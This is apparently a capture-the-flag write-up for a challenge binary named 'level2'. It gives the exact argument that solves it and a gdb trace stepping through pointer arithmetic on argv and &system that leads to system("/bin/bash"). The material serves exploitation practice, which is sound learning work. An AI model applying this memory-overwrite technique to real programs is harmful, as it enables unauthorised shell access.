level2
Solution: ./level2 2080221120
Explanation: Recompile the code: gcc -o my-build level2.c -ggdb -m32 gdb ./my-build (gdb) b main (gdb) r 2080221120 The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/oss/oss-ctf/laura 2080221120
Breakpoint 1, main (argc=2, argv=0xffffd2c4) at level2.c:24 24 p = (unsigned char*)&system + 2; (gdb) n 25 q = p + 2 * atoi(argv[1]) + 2; (gdb) p p $14 = (unsigned char ) 0x8048352 "p\227\004\bh\b" (gdb) n 27 r = (unsigned int*)(unsigned int)q; (gdb) p q $15 = ( unsigned char *) 0xffffd2d4 "\221\324\377\377\251\324\377\377\314\324\377\377\003\325\377\377\023\325\377\377\036\325\377\377o\325\377\377\216\325\377\377\246\325\377\377\270\325\377\377\356\325\377\377\017\326\377\377\030\326\377\377\071\333\377\377k\333\377\377\224\333\377\377\241\333\377\377\371\333\377\377\005\334\377\377/\334\377\377G\334\377\377\232\334\377\377\251\334\377\377\307\334\377\377\334\334\377\377\t\335\377\377\032\335\377\377\061\335\377\377M\335\377\377\204\335\377\377\215\335\377\377\240\335\377\377\006\336\377\377\025\336\377\377\035\336\377\377/\336\377\377F\336\377\377r\336\377\377\317\336\377\377\333\336\377\377=\337\377\377z\337\377\377\207\337\377\377\222\337\377\377\310\337\377\377" (gdb) n 29 r = (unsigned int)&pass; (gdb) n 31 system("/bin/bash"); (gdb) n
(make 'r' to be 'argv')